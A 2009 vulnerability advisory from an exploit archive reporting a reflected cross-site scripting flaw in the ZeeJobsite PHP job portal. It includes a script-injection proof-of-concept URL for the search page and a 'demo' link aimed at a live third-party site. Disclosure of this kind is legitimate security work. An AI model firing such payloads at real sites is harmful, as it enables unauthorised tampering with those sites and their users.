zeejob-xss.txt
Posted on 11 December 2009
______ __ ______ / == / / __ \n __< / \n \_____ \_ \_____\n/_____/ /_/ /_____/ 01000010 01101001 01001111 [#]----------------------------------------------------------------[#] # # [+] ZeeJobsite v3x [XSS] # # // Author Info # [x] Author: bi0 # [x] Contact: bukibv@hotmail.com # [x] Homepage : www.ssteam.ws # [x] Thanks: packetdeath and ssteam.ws # # // Software Info # [x] Name : ZeeJobsite - PHP Job Portal # [x] Vendor : http://www.zeejobsite.com/ # [x] Version : v.3x # [x] Price : 149.00 USD # [#]-------------------------------------------------------------------------------------------[#] # # [x] Exploit : # # http://localhost/basic_search_result.php?title=[XSS] # # [x] Poc : # # http://localhost/basic_search_result.php?title=<script>alert(/XSS/)</script> # # [#]------------------------------------------------------------------------------------------[#] # # Demo : # # [+] http://jobsite.65m.com/basic_search_result.php?title=<script>alert(/XSS/)</script> # # [#]-------------------------------------------------------------------------------------------[#] #EOF
